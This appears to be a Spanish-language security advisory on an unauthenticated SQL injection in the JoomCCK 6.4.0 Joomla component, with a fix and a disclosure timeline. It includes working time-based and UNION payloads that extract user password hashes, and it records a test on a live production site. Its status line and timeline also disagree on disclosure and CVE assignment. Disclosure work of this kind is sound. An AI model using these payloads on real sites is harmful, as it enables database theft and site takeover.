
CVE-2026-49048 — JoomCCK 6.4.0 Inyección SQL no autenticada (CVSS 9.8)
CVE: CVE-2026-49048
Estado: Divulgación pública. Reportado al Joomla Security Strike Team (JSST) — Ticket #282420.
| Campo | Valor |
|---|---|
| ID del aviso | JOOMCCK-2026-001 |
| CVE | CVE-2026-49048 |
| Producto | JoomCCK (com_joomcck) — Content Construction Kit para Joomla |
| Proveedor | JoomCoder — https://www.joomcoder.com |
| Afectados | 6.4.0 (última versión en el momento del descubrimiento; se presume que las versiones 6.x anteriores están afectadas) |
| Versión corregida | Ninguna en el momento de redacción |
| Tipo | Inyección SQL (CWE-89) mediante autorización ausente (CWE-862) |
| Autenticación requerida | Ninguna — no autenticada, pre-autenticación |
| Gravedad | Crítica — Puntuación base CVSS 3.1 de 9.8 |
| Vector CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Descubierto por | Kamil Soltanov |
| Contacto | [email protected] |
| Fecha de descubrimiento | 2026-06-22 |
El componente JoomCCK para Joomla 4/5/6 expone una tarea de controlador del front-end (task=tags.save) que concatena el parámetro tag proporcionado por el usuario directamente en SQL sin escapar ni parametrizar. El despachador MVC personalizado del componente no realiza ninguna comprobación de token CSRF ni de control de acceso, lo que hace que la inyección sea alcanzable por un atacante remoto completamente no autenticado.
La explotación exitosa permite acceso de lectura completo a la base de datos de Joomla — incluidos los hashes de contraseñas de #__users — mediante inyección SQL ciega basada en UNION y basada en tiempo, lo que conduce al compromiso total del sitio.
libraries/mint/mvc/controller/base.php — MControllerBase::execute():
public function execute($task)
{
$this->task = $task;
$task = !is_null($task) ? strtolower($task) : '';
$doTask = $this->taskMap[$task];
...
return $this->$doTask(); // Invoked with no checkToken(), no authorise()
}
El método authorise() en la misma clase es un no-op que devuelve true incondicionalmente.
El punto de entrada components/com_joomcck/joomcck.php llama a execute(input->get('task')) sin ninguna comprobación de inicio de sesión, token o ACL → cada método público del controlador es una tarea no autenticada.
tags.save (CWE-89)components/com_joomcck/models/tags.php — _saveTag():
$tag = $app->input->getString('tag'); // Joomla 'STRING' filter: strips HTML but NOT SQL quotes
$query = ' SELECT a.* FROM #__js_res_tags AS a WHERE a.tag = "' . $tag . '"'; // INJECTABLE
$exist_item = $this->_getList($query);
// Later:
$query = 'UPDATE #__js_res_tags SET tag = "' . $tag . '" WHERE id =' . $id; // INJECTABLE
El filtro de entrada STRING de Joomla elimina las etiquetas HTML pero deja pasar " sin cambios — el mismo carácter que se usa como delimitador de cadena SQL aquí. Salir del literal entrecomillado inyecta SQL arbitrario.
GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20OR%20SLEEP(5)--%20- HTTP/1.1
Host: target.example.com
Esperado: respuesta retrasada ≥ 5 segundos (por fila coincidente).
GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20UNION%20SELECT%20id,username,password%20FROM%20%23__users--%20- HTTP/1.1
Host: target.example.com
El código PoC completo y la transcripción de la evidencia capturada están en poc/.
Resultados clave del laboratorio:
Payload (tag=) | Resultado |
|---|---|
cars (benigno) | 1 fila devuelta — normal |
zzz" OR "1"="1 | " no escapado → todas las filas devueltas (inyección confirmada) |
zzz" UNION SELECT id,username,password FROM jos_users-- - | Hash de contraseña del administrador exfiltrado |
zzz" OR SLEEP(3)-- - | Respuesta retrasada 9,0 s (3 filas × 3 s) |
El arnés del laboratorio utiliza el genuino
Joomla\Input\Input::getString()y la consulta literal_saveTag()contra una instancia activa de MariaDB 11.8.
Un atacante remoto no autenticado puede:
#__js_res_tags mediante el UPDATE inyectabletask=tags.delete y task=records.copy (también sin autenticación — mismo fallo del despachador)El mismo fallo del despachador expone tareas adicionales sin autenticación:
| Tarea | Efecto |
|---|---|
tags.delete | Eliminar cualquier etiqueta sin autenticación |
records.copy | Duplicar cualquier registro sin autenticación |
ajax.category_records | Enumerar registros por categoría |
ajax.tags_list | Listar todas las etiquetas |
ajax.users_filter | Enumerar nombres de usuario |
ajax.loadfieldparams | Divulgar la configuración de campos |
Nota: muchas tareas records.* sí aplican ACL internamente mediante _checkAccess() y no se ven afectadas.
1. Parametrizar todas las consultas (constructor de consultas de Joomla):
$db = $this->getDatabase();
$tag = $app->input->getString('tag');
// SELECT
$query = $db->getQuery(true)
->select('a.*')
->from($db->quoteName('#__js_res_tags', 'a'))
->where($db->quoteName('a.tag') . ' = ' . $db->quote($tag));
// UPDATE
$upd = $db->getQuery(true)
->update($db->quoteName('#__js_res_tags'))
->set($db->quoteName('tag') . ' = ' . $db->quote($tag))
->where($db->quoteName('id') . ' = ' . (int) $id);
2. Aplicar autorización en el despachador — añadir Session::checkToken() y una comprobación de ACL (Factory::getApplication()->getIdentity()->authorise(...)) antes de todas las tareas que modifican el estado, replicando las protecciones ya presentes en files.upload.
| Fecha | Evento |
|---|---|
| 2026-06-22 | Vulnerabilidad descubierta y verificada mediante PoC en laboratorio local |
| 2026-06-22 | Aviso preparado; reportado al Joomla Security Strike Team (JSST) y a VEL |
| 2026-06-23 | JSST acusó recibo — David Jardin, Ticket #282420. Coordinación con el proveedor (JoomCoder) a través de JSST |
| 2026-06-25 | Confirmación en producción sobre un sitio Joomla real: SLEEP(5) → respuesta de 115 s; error de MySQL 1222 en UNION (no destructivo, sin exfiltración de datos) |
| Por determinar | Parche del proveedor |
| Por determinar | Asignación de CVE |
| Por determinar | Divulgación pública (ventana coordinada de 90 días) |
Investigador de seguridad independiente.
Contacto: [email protected]